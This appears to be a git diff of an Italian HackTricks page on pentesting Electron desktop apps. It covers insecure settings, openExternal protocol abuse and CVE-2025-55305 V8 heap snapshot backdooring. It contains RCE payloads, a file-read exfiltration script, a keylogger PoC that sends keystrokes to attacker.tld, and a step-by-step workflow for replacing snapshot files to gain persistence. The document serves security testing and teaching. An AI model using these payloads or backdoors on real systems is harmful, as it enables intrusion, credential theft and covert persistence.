Ora che è stata fatta un'enumerazione completa dell'applicazione web è il momento di verificare molte possibili vulnerabilità. Puoi trovare la checklist qui:
Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here:
{{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md
{{#endref}}
Trova più informazioni sulle web vulns in:
Find more info about web vulns in:
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
@ -343,7 +342,7 @@ Trova più informazioni sulle web vulns in:
### Monitor Pages for changes
Puoi usare strumenti come [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) per monitorare pagine per modifiche che potrebbero introdurre vulnerabilità.
You can use tools such as [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) to monitor pages for modifications that might insert vulnerabilities.
### HackTricks Automatic Commands
```

202
src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
View File

@ -4,14 +4,14 @@
## Introduzione
Electron combina un backend locale (con **NodeJS**) e un frontend (**Chromium**), anche se gli mancano alcuni meccanismi di sicurezza dei browser moderni.
Electron combina un backend locale (con **NodeJS**) e un frontend (**Chromium**), sebbene manchi di alcuni dei meccanismi di sicurezza dei browser moderni.
Di solito il codice dell'app Electron si trova all'interno di un'applicazione `.asar`; per ottenere il codice è necessario estrarlo:
Solitamente puoi trovare il codice dell'app Electron all'interno di un'applicazione `.asar`; per ottenere il codice devi estrarlo:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
Nel codice sorgente di un'app Electron, all'interno di `packet.json`, è possibile trovare specificato il file `main.js` dove sono impostate le configurazioni di sicurezza.
Nel codice sorgente di un'app Electron, all'interno di `packet.json`, puoi trovare specificato il file `main.js` dove sono impostate le configurazioni di sicurezza.
```json
{
"name": "standard-notes",
@ -24,7 +24,7 @@ Electron ha 2 tipi di processi:
![](<../../../images/image (182).png>)
Un **renderer process** sarà una finestra del browser che carica un file:
Un **processo renderer** sarà una finestra del browser che carica un file:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
@ -32,17 +32,17 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
Le impostazioni del **renderer process** possono essere **configurate** nel **main process** all'interno del file main.js. Alcune configurazioni **impediranno all'applicazione Electron di subire RCE** o altre vulnerabilità se le **impostazioni sono correttamente configurate**.
Le impostazioni del **renderer process** possono essere **configurate** nel **main process** all'interno del file main.js. Alcune configurazioni impediranno che l'applicazione Electron subisca RCE o altre vulnerabilità se le **impostazioni sono configurate correttamente**.
L'applicazione Electron **potrebbe accedere al dispositivo** tramite Node apis, anche se può essere configurata per impedirlo:
L'applicazione Electron **potrebbe accedere al dispositivo** tramite le Node APIs, sebbene possa essere configurata per impedirlo:
- **`nodeIntegration`** - è `off` per default. Se attivo, permette di accedere alle funzionalità di node dal renderer process.
- **`contextIsolation`** - è `on` per default. Se disattivato, i processi main e renderer non sono isolati.
- **`preload`** - vuoto per default.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - è off per default. Restringerà le azioni che NodeJS può eseguire.
- Node Integration in Workers
- **`nodeIntegrationInSubframes`** - è `off` per default.
- Se **`nodeIntegration`** è **abilitato**, questo permetterebbe l'uso delle **Node.js APIs** in pagine web che vengono **caricate in iframes** all'interno di un'applicazione Electron.
- **`nodeIntegration`** - è `off` di default. Se attivato, permette di accedere alle funzionalità di node dal renderer process.
- **`contextIsolation`** - è `on` di default. Se disabilitato, main e renderer processes non sono isolati.
- **`preload`** - vuoto di default.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - è off di default. Restringerà le azioni che NodeJS può eseguire.
- Node Integration nei Workers
- **`nodeIntegrationInSubframes`** - è `off` di default.
- Se **`nodeIntegration`** è **abilitato**, questo permetterebbe l'uso delle **Node.js APIs** in pagine web che vengono **caricate in iframe** all'interno di un'app Electron.
- Se **`nodeIntegration`** è **disabilitato**, allora i preload verranno caricati nell'iframe
Esempio di configurazione:
@ -71,7 +71,7 @@ spellcheck: true,
},
}
```
Alcuni **RCE payloads** da [here](https://7as.es/electron/nodeIntegration_rce.txt):
Alcuni **RCE payloads** da [qui](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
<img
@ -103,7 +103,7 @@ Modifica la configurazione start-main e aggiungi l'uso di un proxy come:
```
## Electron Local Code Injection
Se puoi eseguire localmente un Electron App, è possibile farlo eseguire codice javascript arbitrario. Controlla come in:
Se puoi eseguire localmente un Electron App, è possibile che tu riesca a farlo eseguire codice javascript arbitrario. Vedi come in:
{{#ref}}
@ -112,7 +112,7 @@ Se puoi eseguire localmente un Electron App, è possibile farlo eseguire codice
## RCE: XSS + nodeIntegration
Se il **nodeIntegration** è impostato su **on**, il JavaScript di una pagina web può usare le funzionalità di Node.js semplicemente chiamando il `require()`. Ad esempio, il modo per eseguire l'app calc su Windows è:
Se il **nodeIntegration** è impostato su **on**, il JavaScript di una pagina web può usare le funzionalità di Node.js semplicemente chiamando `require()`. Ad esempio, il modo per eseguire l'applicazione calc su Windows è:
```html
<script>
require("child_process").exec("calc")
@ -124,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
Lo script indicato in questa impostazione viene **caricato prima di altri script nel renderer**, quindi ha **accesso illimitato alle Node APIs**:
Lo script indicato in questa impostazione è **caricato prima degli altri script nel renderer**, quindi ha **accesso illimitato alle Node APIs**:
```javascript
new BrowserWindow{
webPreferences: {
@ -133,7 +133,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
Pertanto, lo script può esportare node-features in pagine:
Pertanto, lo script può esportare node-features alle pagine:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
@ -158,8 +158,8 @@ La _**contextIsolation**_ introduce i **contesti separati tra gli script della p
Se i contesti non sono isolati, un attacker può:
1. Eseguire **JavaScript arbitrario nel renderer** (XSS o navigazione verso siti esterni)
2. **Sovrascrivere il metodo built-in** usato in preload o nel codice interno di Electron per compromettere una funzione
3. **Innescare** l'uso della **funzione sovrascritta**
2. **Sovrascrivere un metodo built-in** usato nel codice preload o nel codice interno di Electron per prenderne il controllo
3. **Attivare** l'uso della **funzione sovrascritta**
4. RCE?
Ci sono 2 posti dove i metodi built-in possono essere sovrascritti: nel codice preload o nel codice interno di Electron:
@ -181,7 +181,7 @@ electron-contextisolation-rce-via-ipc.md
### Bypass dell'evento click
Se sono applicate restrizioni quando clicchi un link, potresti riuscire a bypassarle **usando un clic centrale** invece di un normale clic sinistro
Se ci sono restrizioni applicate quando clicchi un link potresti essere in grado di aggirarle **facendo un middle click** invece del normale left click
```javascript
window.addEventListener('click', (e) => {
```
@ -189,26 +189,26 @@ window.addEventListener('click', (e) => {
Per maggiori informazioni su questi esempi consulta [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) e [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Quando si distribuisce un'app desktop Electron, è fondamentale assicurarsi che `nodeIntegration` e `contextIsolation` siano configurati correttamente. È assodato che **client-side remote code execution (RCE)** mirata agli script di preload o al codice nativo di Electron dal processo principale sia efficacemente impedita con queste impostazioni.
Quando si distribuisce un'applicazione desktop Electron, assicurarsi della corretta configurazione di `nodeIntegration` e `contextIsolation` è cruciale. È assodato che **client-side remote code execution (RCE)** mirata agli script di preload o al codice nativo di Electron dal processo principale venga efficacemente prevenuta con queste impostazioni.
Quando un utente interagisce con link o apre nuove finestre, si attivano specifici event listeners, cruciali per la sicurezza e la funzionalità dell'applicazione:
Quando un utente interagisce con link o apre nuove finestre, vengono attivati dei listener di evento specifici, fondamentali per la sicurezza e il funzionamento dell'applicazione:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Questi listener vengono **sovrascritti dall'applicazione desktop** per implementare la propria **logica applicativa**. L'applicazione valuta se un link navigato debba essere aperto internamente o in un browser web esterno. Questa decisione viene tipicamente presa da una funzione, `openInternally`. Se questa funzione restituisce `false`, indica che il link deve essere aperto esternamente, usando la funzione `shell.openExternal`.
Questi listener sono **sovrascritti dall'applicazione desktop** per implementare la propria **logica di business**. L'applicazione valuta se un link navigato debba essere aperto internamente o in un browser web esterno. Questa decisione viene tipicamente presa tramite una funzione, `openInternally`. Se questa funzione restituisce `false`, indica che il link deve essere aperto esternamente, utilizzando la funzione `shell.openExternal`.
**Here is a simplified pseudocode:**
**Ecco un pseudocodice semplificato:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Le best practice di sicurezza di Electron JS sconsigliano di accettare contenuti non attendibili con la funzione `openExternal`, poiché potrebbe portare a RCE tramite vari protocolli. I sistemi operativi supportano protocolli diversi che potrebbero innescare RCE. Per esempi dettagliati e ulteriori spiegazioni su questo argomento, si può fare riferimento a [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), che include esempi di protocolli Windows capaci di sfruttare questa vulnerabilità.
Electron JS security best practices sconsigliano di accettare contenuti non affidabili con la funzione `openExternal`, poiché potrebbe portare a RCE tramite vari protocolli. I sistemi operativi supportano diversi protocolli che potrebbero innescare RCE. Per esempi dettagliati e ulteriori spiegazioni su questo argomento, si può fare riferimento a [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), che include esempi di protocolli Windows in grado di sfruttare questa vulnerabilità.
In macos, la funzione `openExternal` può essere sfruttata per eseguire comandi arbitrari, ad esempio `shell.openExternal('file:///System/Applications/Calculator.app')`.
In macos, la funzione `openExternal` può essere sfruttata per eseguire comandi arbitrari come in `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Esempi di exploit di protocolli Windows includono:**
**Esempi di exploit tramite protocolli Windows includono:**
```html
<script>
window.open(
@ -230,15 +230,15 @@ window.open(
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Questa vuln può essere trovata in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
Questa vulnerabilità è descritta in **[questa ricerca](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
La **webviewTag** è una funzionalità deprecata che permette l'uso di **NodeJS** nel **renderer process**, e dovrebbe essere disabilitata poiché consente di caricare uno script all'interno del preload context come:
Il **webviewTag** è una **funzionalità deprecata** che permette l'uso di **NodeJS** nel **renderer process**, e dovrebbe essere disabilitata poiché consente di caricare uno script all'interno del contesto di preload come:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
Pertanto, un attaccante che riesce a caricare una pagina arbitraria potrebbe usare quel tag per **caricare uno script di preload arbitrario**.
Pertanto, un attacker che riesce a caricare una pagina arbitraria potrebbe usare quel tag per **caricare uno script di preload arbitrario**.
Questo script di preload è stato poi abusato per invocare un **servizio IPC vulnerabile (`skype-new-window`)** che chiamava **`shell.openExternal`** per ottenere RCE:
Questo preload script è stato poi abusato per chiamare un **servizio IPC vulnerabile (`skype-new-window`)** che chiamava **`shell.openExternal`** per ottenere RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
@ -255,7 +255,7 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Inoltre, viene condiviso un altro metodo per **leggere un file interno**, che mette in evidenza una critical local file read vulnerability in un'app desktop Electron. Questo comporta l'iniezione di uno script per sfruttare l'applicazione ed esfiltrare i dati:
Ulteriormente, viene condiviso un altro metodo per **leggere un file interno**, evidenziando una grave vulnerabilità di lettura di file locali in un'app desktop Electron. Questo comporta l'iniezione di uno script per sfruttare l'applicazione e esfiltrare i dati:
```html
<br /><br /><br /><br />
<h1>
@ -271,23 +271,23 @@ frames[0].document.body.innerText
</script>
</h1>
```
## **RCE: XSS + chromium obsoleto**
## **RCE: XSS + Old Chromium**
Se il **chromium** usato dall'applicazione è **obsoleto** e ci sono **note** **vulnerabilità** su di esso, potrebbe essere possibile **sfruttarlo e ottenere RCE tramite una XSS**.\
Se il **chromium** usato dall'applicazione è **vecchio** e ci sono **vulnerabilità** note, potrebbe essere possibile **sfruttarlo e ottenere RCE tramite una XSS**.\
Puoi vedere un esempio in questo **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing via bypass della regex degli URL interni**
## **XSS Phishing via Internal URL regex bypass**
Supponendo che tu abbia trovato una XSS ma **non possa attivare RCE o rubare file interni** potresti provare a usarla per **rubare credenziali via phishing**.
Supponendo che tu abbia trovato una XSS ma **non possa scatenare RCE o rubare file interni** potresti provare a usarla per **rubare credenziali via phishing**.
Per prima cosa devi sapere cosa succede quando provi ad aprire un nuovo URL, controllando il codice JS nel front-end:
Prima di tutto devi sapere cosa succede quando provi ad aprire una nuova URL, controllando il codice JS nel front-end:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
La chiamata a **`openInternally`** deciderà se il **link** verrà **aperto** nella **finestra desktop** poiché è un link appartenente alla piattaforma, **oppure** se verrà aperto nel **browser come risorsa di terze parti**.
La chiamata a **`openInternally`** deciderà se il **link** verrà **aperto** nella **desktop window** in quanto link appartenente alla piattaforma, **o** se verrà aperto nel **browser** come risorsa di terze parti.
Nel caso la **regex** usata dalla funzione sia **vulnerabile a bypasses** (per esempio **non eseguendo l'escape dei punti dei sottodomini**) un attaccante potrebbe abusare della **XSS** per **aprire una nuova finestra che** sarà ubicata nell'infrastruttura dell'attaccante **richiedendo le credenziali** all'utente:
Nel caso in cui il **regex** usato dalla funzione sia **vulnerable to bypasses** (per esempio **not escaping the dots of subdomains**) un attacker potrebbe abusare della XSS per **open a new window which** sarà situata nell'infrastruttura dell'attacker **asking for credentials** all'utente:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
@ -295,21 +295,21 @@ window.open("<http://subdomainagoogleq.com/index.html>")
```
## `file://` Protocollo
Come menzionato in [la documentazione](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), le pagine eseguite su **`file://`** hanno accesso unilaterale a ogni file della tua macchina, il che significa che **problemi XSS possono essere usati per caricare file arbitrari** dalla macchina dell'utente. Usare un **protocollo personalizzato** previene problemi come questo, perché puoi limitare il protocollo a servire solo un insieme specifico di file.
Come menzionato nella [docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) le pagine eseguite su **`file://`** hanno accesso unilaterale a ogni file sulla tua macchina, il che significa che **problemi di XSS possono essere usati per caricare file arbitrari** dalla macchina dell'utente. L'uso di un **protocollo personalizzato** previene problemi di questo tipo poiché puoi limitare il protocollo a servire solo un insieme specifico di file.
## Modulo Remote
## Remote module
Il Modulo Remote di Electron permette ai **processi renderer di accedere alle API del processo principale**, facilitando la comunicazione all'interno di un'app Electron. Tuttavia, abilitare questo modulo introduce rischi significativi per la sicurezza. Aumenta la superficie di attacco dell'applicazione, rendendola più suscettibile a vulnerabilità come gli attacchi cross-site scripting (XSS).
Il Remote module di Electron permette ai **processi renderer di accedere alle API del processo main**, facilitando la comunicazione all'interno di un'app Electron. Tuttavia, abilitare questo modulo introduce significativi rischi di sicurezza. Amplia la superficie d'attacco dell'applicazione, rendendola più suscettibile a vulnerabilità come gli attacchi di cross-site scripting (XSS).
> [!TIP]
> Anche se il modulo **remote** espone alcune API dal main ai renderer process, non è così semplice ottenere RCE solamente abusando dei componenti. Tuttavia, i componenti potrebbero esporre informazioni sensibili.
> Sebbene il modulo **remote** esponga alcune API dal main ai processi renderer, non è semplice ottenere RCE limitandosi ad abusare solo dei componenti. Tuttavia, i componenti potrebbero esporre informazioni sensibili.
> [!WARNING]
> Molte app che ancora usano il remote module lo fanno in un modo che **richiede che NodeIntegration sia abilitato** nel processo renderer, il che rappresenta un **enorme rischio per la sicurezza**.
> Molte app che usano ancora il modulo remote lo fanno in modo tale da **richiedere che NodeIntegration sia abilitato** nel processo renderer, il che rappresenta un **enorme rischio di sicurezza**.
A partire da Electron 14 il modulo `remote` di Electron potrebbe essere abilitato in diversi modi e, per motivi di sicurezza e prestazioni, è **consigliato non usarlo**.
Da Electron 14 il modulo `remote` potrebbe essere abilitato in diversi step; tuttavia, per motivi di sicurezza e performance è **consigliato non usarlo**.
Per abilitarlo, è prima necessario **abilitarlo nel processo principale**:
Per abilitarlo, è prima necessario **abilitarlo nel processo main**:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
@ -320,37 +320,37 @@ mainWindow = new BrowserWindow({
})
remoteMain.enable(mainWindow.webContents)
```
Poi, il processo renderer può importare oggetti dal modulo come segue:
Quindi, il processo renderer può importare oggetti dal modulo che preferisce:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
Il **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indica alcune **funzioni** interessanti esposte dall'oggetto **`app`** del modulo 'remote':
Il **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indica alcune **funzioni** interessanti esposte dall'oggetto **`app`** del remote module:
- **`app.relaunch([options])`**
- **Riavvia** l'applicazione chiudendo l'istanza corrente e avviandone una nuova. Utile per **aggiornamenti dell'app** o cambiamenti significativi di **stato**.
- **Riavvia** l'applicazione **uscendo** dall'istanza corrente e **avviandone** una nuova. Utile per **aggiornamenti dell'app** o significativi **cambiamenti di stato**.
- **`app.setAppLogsPath([path])`**
- **Definisce** o **crea** una directory per memorizzare i **log** dell'app. I log possono essere **recuperati** o **modificati** usando **`app.getPath()`** o **`app.setPath(pathName, newPath)`**.
- **Definisce** o **crea** una directory per memorizzare i **log dell'app**. I log possono essere **recuperati** o **modificati** usando **`app.getPath()`** o **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Registra** l'eseguibile corrente come **handler predefinito** per un protocollo specificato. È possibile fornire un **percorso personalizzato** e **argomenti** se necessario.
- **Registra** l'eseguibile corrente come **gestore predefinito** per un determinato **protocollo**. È possibile fornire un **percorso personalizzato** e **argomenti** se necessario.
- **`app.setUserTasks(tasks)`**
- **Aggiunge** task alla **Tasks category** nella **Jump List** (su Windows). Ogni task può controllare come l'app viene **avviata** o quali **argomenti** vengono passati.
- **`app.importCertificate(options, callback)`**
- **Importa** un certificato **PKCS#12** nello **store dei certificati** di sistema (solo Linux). Un **callback** può essere usato per gestire il risultato.
- **Importa** un **PKCS#12 certificate** nello **store dei certificati** del sistema (solo Linux). È possibile usare una **callback** per gestire il risultato.
- **`app.moveToApplicationsFolder([options])`**
- **Sposta** l'applicazione nella **Applications folder** (su macOS). Aiuta a garantire una **installazione standard** per gli utenti Mac.
- **Sposta** l'applicazione nella **Applications folder** (su macOS). Aiuta a garantire un'**installazione standard** per gli utenti Mac.
- **`app.setJumpList(categories)`**
- **Imposta** o **rimuove** una **Jump List** personalizzata su **Windows**. È possibile specificare **categorie** per organizzare come i task appaiono all'utente.
- **Imposta** o **rimuove** una **Jump List personalizzata** su **Windows**. È possibile specificare **categorie** per organizzare come i task appaiono all'utente.
- **`app.setLoginItemSettings(settings)`**
- **Configura** quali **eseguibili** vengono lanciati al **login** insieme alle loro **opzioni** (solo macOS e Windows).
- **Configura** quali **eseguibili** si avviano al **login** insieme alle loro **opzioni** (solo macOS e Windows).
Esempio:
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences module
## systemPreferences modulo
La **API principale** per accedere alle preferenze di sistema e per **emettere eventi di sistema** in Electron. Metodi come **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, e **setUserDefault** sono tutti **parte di** questo modulo.
La **API principale** per accedere alle preferenze di sistema e **emettere eventi di sistema** in Electron. Metodi come **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** e **setUserDefault** fanno tutti **parte di** questo modulo.
**Esempio d'uso:**
```javascript
@ -367,33 +367,33 @@ console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **Ascolta** le **notifiche native macOS** usando NSDistributedNotificationCenter.
* Prima di **macOS Catalina**, era possibile sniffare **tutte** le notifiche distribuite passando **nil** a CFNotificationCenterAddObserver.
* Dopo **Catalina / Big Sur**, le app sandboxate possono ancora **iscriversi** a **molti eventi** (per esempio, **blocchi/sblocchi dello schermo**, **montaggi di volume**, **attività di rete**, ecc.) registrando notifiche **per nome**.
* **Ascolta** le **notifiche native di macOS** usando NSDistributedNotificationCenter.
* Prima di **macOS Catalina**, era possibile intercettare **tutte** le notifiche distribuite passando **nil** a CFNotificationCenterAddObserver.
* Dopo **Catalina / Big Sur**, le app sandboxate possono ancora **iscriversi** a **molti eventi** (per esempio, **blocchi/sblocchi dello schermo**, **montaggio di volumi**, **attività di rete**, ecc.) registrando le notifiche **per nome**.
### **getUserDefault / setUserDefault**
* **Interagisce** con **NSUserDefaults**, che memorizza le preferenze **dell'applicazione** o **globali** su macOS.
* **getUserDefault** può **recuperare** informazioni sensibili, come **posizioni di file recenti** o **posizione geografica dell'utente**.
* **getUserDefault** può **recuperare** informazioni sensibili, come le **posizioni dei file recenti** o la **posizione geografica dell'utente**.
* **setUserDefault** può **modificare** queste preferenze, potenzialmente influenzando la **configurazione** di un'app.
* **setUserDefault** può **modificare** queste preferenze, influenzando potenzialmente la **configurazione** di un'app.
* Nelle **versioni più vecchie di Electron** (prima di v8.3.0), solo la **suite standard** di NSUserDefaults era **accessibile**.
* Nelle **vecchie versioni di Electron** (prima di v8.3.0), solo la **suite standard** di NSUserDefaults era **accessibile**.
## Shell.showItemInFolder
Questa funzione mostra il file indicato in un file manager, che **potrebbe eseguire automaticamente il file**.
Questa funzione mostra il file specificato in un file manager, che **potrebbe eseguire automaticamente il file**.
Per maggiori informazioni consulta [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy
Le app Electron dovrebbero avere una **Content Security Policy (CSP)** per **prevenire attacchi XSS**. La **CSP** è uno **standard di sicurezza** che aiuta a **impedire** l'**esecuzione** di **codice non attendibile** nel browser.
Solitamente viene **configurata** nel file **`main.js`** o nel template **`index.html`** con la CSP all'interno di un **meta tag**.
Di solito viene **configurata** nel file **`main.js`** o nel template **`index.html`** con la CSP all'interno di un **meta tag**.
Per maggiori informazioni consulta:
For more information check:
{{#ref}}
@ -404,8 +404,8 @@ pentesting-web/content-security-policy-csp-bypass/
## **Tools**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) è uno strumento per identificare misconfigurazioni e anti-pattern di sicurezza nelle applicazioni basate su Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) è un plugin open source per VS Code per applicazioni Electron che utilizza Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) per verificare la presenza di librerie di terze parti vulnerabili
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) è un plugin open source per VS Code per applicazioni Electron che usa Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) per verificare librerie di terze parti vulnerabili
- [**Electro.ng**](https://electro.ng/): È a pagamento
## Labs
@ -435,20 +435,20 @@ cd vulnerable1
npm install
npm start
```
## Backdoor locale tramite manomissione dello snapshot heap di V8 (Electron/Chromium) – CVE-2025-55305
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
Le app basate su Electron e Chromium deserializzano all'avvio uno snapshot heap di V8 precompilato (v8_context_snapshot.bin, e opzionalmente browser_v8_context_snapshot.bin) per inizializzare ogni V8 isolate (main, preload, renderer). Storicamente, le fuse di integrità di Electron non consideravano questi snapshot come contenuto eseguibile, quindi sfuggivano sia all'enforcement di integrità basato su fuse sia ai controlli di code-signing del sistema operativo. Di conseguenza, sostituire lo snapshot in un'installazione scrivibile dall'utente consentiva l'esecuzione stealth e persistente di codice all'interno dell'app senza modificare i binari firmati o l'ASAR.
Electron e le app basate su Chromium deserializzano uno snapshot V8 della heap precompilato all'avvio (v8_context_snapshot.bin, e opzionalmente browser_v8_context_snapshot.bin) per inizializzare ogni V8 isolate (main, preload, renderer). Storicamente, i fuse di integrità di Electron non consideravano questi snapshot come contenuto eseguibile, quindi sfuggivano sia all'enforcement di integrità basato sui fuse sia ai controlli di firma del codice del sistema operativo. Di conseguenza, sostituire lo snapshot in un'installazione scrivibile dall'utente consentiva esecuzione di codice stealth e persistente all'interno dell'app senza modificare i binari firmati o l'ASAR.
Punti chiave
- Gap di integrità: EnableEmbeddedAsarIntegrityValidation e OnlyLoadAppFromAsar validano il JavaScript dell'applicazione all'interno dell'ASAR, ma non coprivano gli snapshot heap di V8 (CVE-2025-55305). Chromium analogamente non verifica l'integrità degli snapshot.
- Preconditions dell'attacco: scrittura locale di file nella directory di installazione dell'app. Questo è comune su sistemi dove le app Electron o i browser Chromium sono installati in percorsi scrivibili dall'utente (es., %AppData%\Local su Windows; /Applications con avvertenze su macOS).
- Effetto: esecuzione affidabile di JavaScript dell'attaccante in qualsiasi isolate mediante la sovrascrittura di un builtin usato frequentemente (un “gadget”), consentendo persistenza ed elusione della verifica di code-signing.
- Superficie interessata: app Electron (anche con le fuse abilitate) e browser basati su Chromium che caricano snapshot da posizioni scrivibili dall'utente.
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar convalidano il JavaScript dell'app all'interno dell'ASAR, ma non coprivano i V8 heap snapshots (CVE-2025-55305). Chromium allo stesso modo non verifica l'integrità degli snapshot.
- Attack preconditions: possibilità di scrittura di file locali nella directory di installazione dell'app. Questo è comune su sistemi dove le app Electron o i browser Chromium sono installati in percorsi scrivibili dall'utente (es., %AppData%\Local su Windows; /Applications con caveat su macOS).
- Effect: esecuzione affidabile di JavaScript dell'attaccante in qualsiasi isolate sovrascrivendo un builtin usato di frequente (un “gadget”), permettendo persistenza ed elusione della verifica della firma del codice.
- Affected surface: Electron apps (anche con i fuse abilitati) e browser basati su Chromium che caricano snapshot da posizioni scrivibili dall'utente.
Generare uno snapshot malevolo senza compilare Chromium
- Usare il prebuilt electron/mksnapshot per compilare un payload JS in uno snapshot e sovrascrivere il v8_context_snapshot.bin dell'applicazione.
Generating a malicious snapshot without building Chromium
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.
Esempio di payload minimale (dimostrare l'esecuzione forzando un crash)
Example minimal payload (prove execution by forcing a crash)
```js
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
@ -462,11 +462,11 @@ Array.isArray = function () {
throw new Error("testing isArray gadget");
};
```
Isolate-aware payload routing (eseguire codice diverso nel main rispetto al renderer)
- Rilevamento del main process: i globali esclusivi di Node come process.pid, process.binding(), o process.dlopen sono presenti nell'isolate del main process.
- Rilevamento Browser/renderer: i globali esclusivi del Browser come alert sono disponibili quando si esegue in un contesto del documento.
Isolate-aware payload routing (run different code in main vs. renderer)
- Rilevamento del processo main: globali esclusivi di Node come process.pid, process.binding(), o process.dlopen sono presenti nell'isolate del processo main.
- Rilevamento Browser/renderer: globali esclusivi del Browser come alert sono disponibili quando si esegue in un contesto document.
Esempio di gadget che verifica una volta le capacità Node del main process
Esempio di gadget che testa una volta le capacità Node del processo main
```js
const orig = Array.isArray;
@ -495,7 +495,7 @@ process.exit(0);
return orig(...arguments);
};
```
Renderer/browser-context furto di dati PoC (ad es., Slack)
PoC di data theft nel Renderer/browser-context (es. Slack)
```js
const orig = Array.isArray;
Array.isArray = function() {
@ -519,26 +519,26 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no
return orig(...arguments);
};
```
Workflow dell'operatore
1) Write payload.js that clobbers a common builtin (e.g., Array.isArray) and optionally branches per isolate.
2) Build the snapshot without Chromium sources:
Operator workflow
1) Crea payload.js che sovrascrive un comune builtin (es., Array.isArray) e opzionalmente si ramifica per isolate.
2) Genera lo snapshot senza i sorgenti Chromium:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) Sovrascrivere i file snapshot dell'applicazione target:
- v8_context_snapshot.bin (always used)
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
4) Avviare l'applicazione; il gadget viene eseguito ogni volta che il builtin scelto viene utilizzato.
3) Sovrascrivi il/i file snapshot dell'applicazione target:
- v8_context_snapshot.bin (sempre usato)
- browser_v8_context_snapshot.bin (se è usato il fuse LoadBrowserProcessSpecificV8Snapshot)
4) Avvia l'applicazione; il gadget viene eseguito ogni volta che il builtin scelto viene utilizzato.
Note e considerazioni
- Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electron’s fuses or Chromium integrity controls.
